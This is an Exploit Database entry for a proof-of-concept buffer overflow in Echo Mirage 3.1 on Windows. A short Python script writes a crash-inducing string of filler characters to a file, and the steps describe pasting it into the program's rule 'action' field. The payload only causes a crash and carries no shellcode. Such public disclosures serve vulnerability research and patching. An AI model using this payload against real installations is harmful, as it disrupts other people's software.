



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# Echo Mirage 3.1 - Buffer Overflow (PoC)

**EDB-ID:**

46216

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[INITD COMMUNITY](#)

**Type:**

[DOS](#)

**Exploit:**   / 

**Platform:**

[WINDOWS](#)

**Date:**

2019-01-21

**Vulnerable App:** 





```
#!/usr/bin/python
```

```
# Exploit Title: Echo Mirage 3.1 Buffer Overflow PoC (Stack Overflow)
# Date: 21-01-2019
# Software Link: https://sourceforge.net/projects/echomirage.oldbutgold.p/
# Version: 3.1 (x64)
# Exploit Author: InitD Community
# Contact: https://twitter.com/initd_sh
# Website: http://initd.sh/
# Tested on: Windows 7
```

```
"""
```

```
Step to Reproduce : Open Echo Mirage --> 1) Click on "Rules" --> 2) click
on "New" --> 3)Copy "Echo-Mirage-BoF-POC.txt" content and Paste in
"action" field. --> B0oo0m.
```

```
Thanks: Touhid M.Shaikh(@touhidshaikh22), Shrutirupa(@creak_crypt)
This Bug Identified by Touhid M.Shaikh
"""
```

```
buffer = "A"*24241
```

```
RBP = "B"*8
```

```
PAD = "C"*50
```

```
evil = buffer + RBP + PAD
```

```
evil_file = open("Echo-Mirage-BoF-POC.txt", "w")
```

```
evil_file.write(evil)
```

```
evil_file.close()
```

Tags: [Denial of Service \(DoS\)](#),  
[Buffer Overflow](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾

